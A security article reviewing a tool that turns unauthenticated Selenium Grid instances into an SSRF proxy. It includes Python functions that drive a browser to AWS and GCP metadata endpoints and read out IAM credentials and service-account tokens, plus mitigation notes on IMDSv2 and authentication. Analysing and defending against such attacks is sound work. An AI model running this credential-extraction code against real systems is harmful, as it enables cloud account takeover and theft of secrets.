How Selenium Grid Becomes an SSRF Gateway to Cloud Credentials

Hook

Every exposed Selenium Grid instance is potentially a backdoor to your cloud provider's most sensitive credentials—and attackers only need three HTTP requests to exploit it.

Context

Selenium Grid is ubiquitous in modern development workflows, enabling parallel browser testing across different environments. Organizations deploy it in CI/CD pipelines, QA environments, and development clusters—often prioritizing convenience over security. The typical threat model focuses on preventing malicious test code execution or resource exhaustion, but rarely considers Selenium Grid as an SSRF vector.

The selenium-abuser tool exploits a subtle but devastating attack surface: when Selenium Grid runs on cloud infrastructure without authentication, attackers can use its legitimate browser automation capabilities to make requests that appear to come from trusted internal sources. Cloud metadata endpoints like AWS's 169.254.169.254 or GCP's metadata.google.internal are designed to be accessible only from within the instance—but when a browser controlled by an attacker navigates to these URLs, the cloud provider sees a legitimate internal request. This bypasses network-level SSRF protections and exposes IAM credentials, SSH keys, and user data scripts that often have broad permissions across your infrastructure.

Technical Insight

The attack chain is elegant in its simplicity, leveraging Selenium's WebDriver protocol to transform a browser automation service into an SSRF proxy. The tool begins by connecting to an exposed Selenium Grid endpoint (typically on port 4444) and requesting a new browser session. No authentication is required on misconfigured instances, so the Grid happily provisions a browser instance.

Once a session is established, the attacker first navigates to ipinfo.io to fingerprint the cloud provider. This step is crucial because AWS and GCP use different metadata endpoint URLs. The tool extracts the organization field from the JSON response to determine whether it's targeting AWS or Google Cloud infrastructure:

def detect_cloud_provider(driver):
    driver.get('https://ipinfo.io/json')
    response = driver.find_element_by_tag_name('pre').text
    info = json.loads(response)
    
    if 'amazon' in info.get('org', '').lower():
        return 'aws'
    elif 'google' in info.get('org', '').lower():
        return 'gcp'
    return None

def exploit_aws_metadata(driver):
    # Navigate to metadata endpoint
    driver.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
    
    # Extract role name from page
    role_name = driver.find_element_by_tag_name('body').text.strip()
    
    # Fetch credentials for the role
    driver.get(f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}')
    credentials = driver.find_element_by_tag_name('pre').text
    
    return json.loads(credentials)

The metadata endpoint request is where the magic happens. When the Selenium-controlled browser navigates to 169.254.169.254, the HTTP request originates from the browser process running on the EC2 instance or GCE VM. From the cloud provider's perspective, this is indistinguishable from a legitimate application request. The metadata service happily returns the IAM role credentials, which include AccessKeyId, SecretAccessKey, and a session Token with whatever permissions are attached to that role.

The tool extracts these credentials by reading the page body content—the browser renders the JSON response as plain text, which Selenium can access through standard DOM queries. No special network access or protocol manipulation is required; the attacker simply reads what the browser displays.

For GCP instances, the approach is similar but targets different endpoints. GCP's metadata service uses a different structure and requires specific headers for some queries, though the basic IMDSv1-equivalent endpoints remain accessible:

def exploit_gcp_metadata(driver):
    endpoints = [
        'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token',
        'http://metadata.google.internal/computeMetadata/v1/project/project-id',
        'http://metadata.google.internal/computeMetadata/v1/instance/attributes/'
    ]
    
    results = {}
    for endpoint in endpoints:
        try:
            driver.get(endpoint)
            results[endpoint] = driver.find_element_by_tag_name('body').text
        except:
            continue
    
    return results

The fundamental vulnerability here isn't in Selenium Grid itself—it's doing exactly what it's designed to do. The issue is that browser automation capabilities, when exposed without authentication, create a powerful SSRF primitive. Unlike traditional SSRF vulnerabilities where attackers need to find injection points in URL parameters or headers, Selenium Grid provides a fully-featured browser that can navigate anywhere, execute JavaScript, and read response content.

What makes this particularly dangerous is that many organizations don't realize their Selenium Grid instances are publicly accessible. Network scans regularly discover thousands of exposed instances, often running in Kubernetes clusters or EC2 instances with overly permissive security groups. Development teams spin up Grid instances for testing and forget to tear them down, or they intentionally expose them for remote test execution without considering the security implications.

Gotcha

The most significant limitation is that this technique only works against completely unauthenticated Selenium Grid instances. Any authentication mechanism—whether basic auth, API keys, or network-level restrictions—completely blocks this attack vector. In reality, you'll find that many production-grade Selenium Grid deployments do implement some form of access control, making this exploitation method ineffective.

AWS IMDSv2 also defeats this attack entirely. IMDSv2 requires applications to first request a session token using a PUT request with a specific TTL header, then include that token in subsequent metadata queries. Browsers navigating through Selenium can't easily set custom headers for initial page loads (without JavaScript manipulation), making the credential extraction impossible on properly configured modern AWS instances. Organizations that have enforced IMDSv2 through EC2 instance metadata options are protected. Similarly, GCP offers metadata concealment features and the ability to disable legacy endpoints, though adoption varies. The tool's effectiveness is rapidly declining as cloud providers push customers toward more secure metadata service configurations and as security-conscious teams lock down their Grid instances.

Verdict

Use if: You're conducting authorized penetration testing or bug bounty research and discover exposed Selenium Grid instances during reconnaissance. This tool provides a quick, automated way to demonstrate the severity of the misconfiguration and extract actual credentials that prove impact. It's also valuable for red team exercises where you need to pivot from external access to cloud infrastructure credentials. The simplicity makes it perfect for rapid exploitation during time-limited engagements.

Skip if: You're looking for a general-purpose SSRF testing framework (SSRFmap or Burp Suite extensions offer broader coverage), you need to test authenticated Selenium deployments (this won't work), or your targets have enforced IMDSv2/metadata protections (increasingly common). Also skip if you're trying to learn Selenium automation—this is a weaponized security tool, not a tutorial. For infrastructure security auditing, dedicated cloud scanning tools like ScoutSuite or Prowler provide more comprehensive coverage of metadata service misconfigurations without requiring exploitation.